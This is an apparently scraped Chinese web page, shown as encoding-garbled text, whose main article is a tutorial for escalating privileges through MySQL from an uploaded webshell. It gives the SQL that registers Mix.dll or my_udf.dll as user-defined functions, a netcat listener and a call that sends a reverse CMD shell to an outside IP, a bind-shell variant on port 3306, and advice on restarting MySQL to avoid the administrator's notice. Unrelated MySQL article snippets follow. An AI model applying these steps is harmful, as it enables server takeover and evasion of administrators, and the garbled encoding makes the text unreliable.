Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

mysql¼òµ¥ÌáȨ

S- servÌáȨ·½Ê½ÈËÈ˶¼»áÓÃÁË£¬¸ãµÃÏÖÔÚµÄÖ÷»ú¶¼ÅäÖõ÷dz£°²È«£¬¿´À´¹¥»÷ÊÖ·¨µÄ²ã³ö²»ÇîÒ²ÊÇÔì³ÉÖйúÍøÂ簲ȫ½ø²½µÄÒ»´óÔ­ÒòÖ®Ò»£¬»¹ÓÐÆäËûµÄ pcanywhere»ñÈ¡ÃÜÂë£¬Ìæ»»·þÎñ£¬µÈµÈ¡£µ«ÊÇÏÖÔÚҲûÕâôºÃ¸ãÁË£¬Ëæ×Ű²È«ÒâʶµÄÌá¸ß£¬Ö®Ç°µÄ·½Ê½¹À¼Æ²»Ôõô¹ÜÓã¬ÏÖÔÚÎÒ¸ø´ó¼Ò½éÉÜÒ»ÏÂÒ»ÖÖеÄÌáȨ·½Ê½£¬¿´¹ý¹ÅµäLM×öµÄÄǶ¯»­µÄÅóÓѶ¼ÖªµÀ°É£¿ÀûÓÃMYSQLlÈõ¿ÚÁîÄõ½ÏµÍ³È¨ÏÞ£¬ÔÚWEBSHELÉÏÒ²¿ÉʵÏÖ£¬²»¹ýÓиöǰÌᣬ¾ÍÊÇÄ¿±êÖ÷»ú×°ÓÐ MYSQL£¬¶øÄãÓÖÖªµÀMYSQLµÄÓû§ºÍÃÜÂ룬²Å¿ÉÒÔ½øÐÐÌáȨ¡£WEBSHELL»ñµÃÁË£¬ÕÒÓû§ºÍÃÜÂëÒ²²»ÊÇʲôÄÑÊ¡£ÏÖÔÚÎÒÄÃÎÒÁíÍâһ̨»úÆ÷×öʾ·¶£¬ÒѾ­°ÑPHPSHELL´«ÉÏÈ¥ÁË,Ò»°ãÀ´ËµÁ¬½ÓMYSQLµÄÕÊ»§ÃÜÂëºÜºÃÕÒ£¬Ëæ±ã±à¼­Ò»¸öPHPÎļþ£¬¾Í¿´µ½ÁË¡£
¿´µ½Á˰ɣ¬Óû§Ãû£ºroot ÃÜÂ룺123456 ¿âÃû£ºphp È»ºóÔõô°ìÄØ£¿ÏÈÓÃSQL Query ½¨Á¢Á¬½Ó£¬¹þÁ¬½Ó³É¹¦ÁË£¬ÏÖÔÚ¿ªÊ¼½«ÎÒÃǵÄÌáȨÓõζ«¶«:Mix.dll My_udf.dllÉÏ´«ÉÏÈ¥ÏÈ.OK£¬´«ºÃÁË£¬Mix.dllÓÃÓÚ·´µ¯Á¬½Ó£¬My_udf.dllÊÇÕýÏòÁ¬½Ó£¬Ö±½ÓÓÃÁ¬½Ó¶Ô·½µÄ3306¶Ë¿ÚÈ»ºóÊäÈëÃÜÂë¾Í¿É»ñµÃCMDSHELL¡£ºÃ£¬²»¶à˵ÁË£¬´«ÉÏÈ¥Ö®ºóÄØ¾ÍÖ´ÐÐÒÔÏÂSQLÓï¾ä
create function Mixconnect returns string soname 'd:\\php\\php\\Mix.dll';       //my_udf.dll
À´×¢²áº¯Êý.
³öÏÖSQLÓï¾ä³É¹¦Ö´ÐУ¡
  ÀëÄõ½CMDSHELLÒѾ­²»Ô¶ÁË£¬ÎÒÃÇÏÈÓÃNCÔÚ±¾µØ¼àÌýÒ»¸ö¶Ë¿ÚÏÈ£¬Nc -l -p 1234 £¨Õâ¸öÎÒÏë²»ÓýØÍ¼Á˰ɣ©¶øºóÖ´ÐÐÓï¾ä£º
select Mixconnect('192.168.1.520','1234');
À´¼¤»îÄǸöº¯Êý£¬Ö´Ðгɹ¦£¬È»ºó¿´¿´ÎÒÃǵÄNCÓз´Ó³Ã»,³É¹¦µÃµ½CMSHELL£¬²»¹ýÕâʱ¶Ô·½µÄMYSQLÒѾ­¼ÙËÀ¿©£¬ÎÒÃÇÒª°ÑMYSQL·þÎñ½ø³Ì¸ø killµô£¬È»ºóÖØÐÂÆô¶¯MYSQL·þÎñ²ÅÐУ¬²»È»¹ÜÀíÔ±·¢ÏÖÍøÕ¾ÔËÐв»ÁËÁË£¬ÄǾ͡£¡£¡£¡£Èç¹û¸Ã·þÎñÆ÷²»ÔÊÐíÁ¬½ÓÈκÎÍⲿIPºÍ¶Ë¿Ú£¬¶øËûµÄ3306¶Ë¿ÚÈ´ÊǶÔÍ⿪µÄ£¡ÕâʱMy_udf.dll¾Í¸ÃÉϳ¡ÁË£¬Ê¹Ó÷½·¨ºÍMixÒ»Ñù£¬Á¬½ÓMYSQL³É¹¦ºóÖ´ÐÐÈçÏÂÓï¾ä£º
create function my_udfdoor returns string soname 'D:\\php\\php\my_udf.dll';
Ö´ÐÐÓï¾ä³É¹¦ºó£¬È»ºóÎÒÃǾͿªÊ¼¼¤»îÕâ¸öº¯Êý£¬ÊäÈëÓï¾ä£º
select my_udfdoor ('');
È»ºóÓÃncÁ¬½Ó3306¶Ë¿Ú,È»ºóÊäÈëfuck ¾Í¿ÉÒԵõ½Ò»¸öcmdshellÁË.


Ïà¹ØÎĵµ£º

ÔÚ Cygwin ÖбàÒë MySQL ¿Í»§¶Ë

ת×Ôhttp://www.phpvim.net/windows/build-mysql-client-on-cygwin.html
MinTTY ÊÇÒ»¸öСÇɵ«È´ºÜʵÓÃµÄ Cygwin ÖÕ¶Ë»ú£¬µ«ÓиöÑÏÖØµÄÎÊÌâ¾ÍÊÇÎÞ·¨µ÷Óý»»¥Ð﵀ Windows Ô­Éú³ÌÐò£¬±ÈÈç˵
mysql.exe£¬µ±ÄãÔÚ MinTTY ÖÐÊäÈëÈçϵÄÃüÁ
1
$ mysql -uroot
-p
±¾À´ mysql.exe »áÌáʾÊäÈëÃÜÂ룬µ«ÔÚ MinTTY ÖгÌÐò»áÖ± ......

MySQLÖÐÐÞ¸ÄÃÜÂë¼°·ÃÎÊÏÞÖÆÉèÖÃÏê½â

¡¡MySQLÊÇÒ»¸öÕæÕýµÄ¶àÓû§¡¢¶àÏß³ÌSQLÊý¾Ý¿â·þÎñÆ÷¡£MySQLÊÇÒÔÒ»¸ö¿Í»§»ú/·þÎñÆ÷½á¹¹µÄʵÏÖ£¬ËüÓÉÒ»¸ö·þÎñÆ÷ÊØ»¤³ÌÐòmysqldºÍºÜ¶à²»Í¬µÄ¿Í»§³ÌÐòºÍ¿â×é³É¡£ÓÉÓÚÆäÔ´ÂëµÄ¿ª·ÅÐÔ¼°Îȶ¨ÐÔ£¬ÇÒÓëÍøÕ¾Á÷ÐÐ±à »ÓïÑ PHPµÄÍêÃÀ½áºÏ£¬ÏÖÔںܶàÕ¾µã¶¼ÀûÓÃÆäµ±×÷ºó¶ËÊý¾Ý¿â£¬Ê¹Æä»ñµÃÁ˹㷺ӦÓᣴ¦ÓÚ°²È«·½ÃæµÄ¿¼ÂÇ£¬ÐèҪΪÿһÓû§¸ ......

MySQLÊý¾Ý±íÀàÐÍ(ij¹«Ë¾µÄÃæÊÔÌâ)

MySQLµÄÊý¾Ý±íÀàÐͺܶ࣬MySQLÒ»¹²ÏòÓû§ÌṩÁ˰üÀ¨DBD¡¢HEAP¡¢ISAM¡¢MERGE¡¢MyIAS¡¢InnoDBÒÔ¼°GemeniÕâ7ÖÖ±í¡£ÆäÖÐDBD¡¢InnoDBÊôÓÚÊÂÎñ°²È«Àà±í£¬¶øÆäËûÊôÓÚÊÂÎñ·Ç°²È«Àà±í¡£
DBD
Berkeley DB(DBD)±íÊÇÖ§³ÖÊÂÎñ´¦ÀíµÄ±í£¬ÓÉSleepycatÈí¼þ¹«Ë¾¿ª·¢¡£ËüÌṩMySQLÓû§ÆÚ´ýÒѾõŦÄÜ--ÊÂÎñ¿ØÖÆ¡£ÊÂÎñ¿ØÖÆÔÚÈκÎÊý¾Ý¿âϵͳÖÐ ......

mysql alter Óï¾äÓ÷¨,Ìí¼Ó¡¢Ð޸ġ¢É¾³ý×ֶεÈ


 Ô´µØÖ·: http://www.pcppc.cn/shujuku/mysql/shujuku_163919.html
 
 
ÄúÕýÔÚ¿´µÄMySQL½Ì³ÌÊÇ:MySQLÊý¾Ý¿âѧϰ±Ê¼Ç¡£
¡¡¡¡MySQLÊý¾Ý¿âѧϰ±Ê¼Ç 
(ʵÑé»·¾³:Redhat9.0,MySQL3.23.54) 
¸ÙÒª£º 
Ò»£¬Á¬½ÓMySQL 
¶þ£¬MySQL¹ÜÀíÓëÊÚȨ 
Èý£¬Êý¾Ý¿â¼òµ¥²Ù×÷ 
ËÄ, ......

spring+hibernateÔÚMYSQLϵÄһЩÎÊÌâ

½ñÌìÔÚ°ïÅóÓѵ÷ÊÔÒ»¸ö¹ØÓÚ¶àÏ̷߳ÃÎÊͬһÕűíÒýÆðµÄLock wait timeout exceedeµÄÎÊÌ⣬¸Ð¾õÒýÆðµÄÔ­ÒòÓУº
1£¬Ã»ÓнøÐÐÓÅ»¯£¬¾¡Á¿±ÜÃâ¶àÏß³Ì
2£¬¸ù¾ÝËüºóÃæ±¨µÄÒì³££¬ÌáÐÑÎÒ¿ÉÒÔHibernate µÄSessionûÓÐʹÓõõ±£¬(Ò²ÊÇÎÒ½â¾öµÄ·½°¸)
3£¬ÓÃsynchronizedÐÞÊθüбíµÄº¯Êý
¹À¼ÆÊÇÔ­À´³ÌÐòÔÚÐÞ¸ÄÍê¸Ã±íʱÁ¢¿Ì½øÐÐÁ˲åÈë²Ù× ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ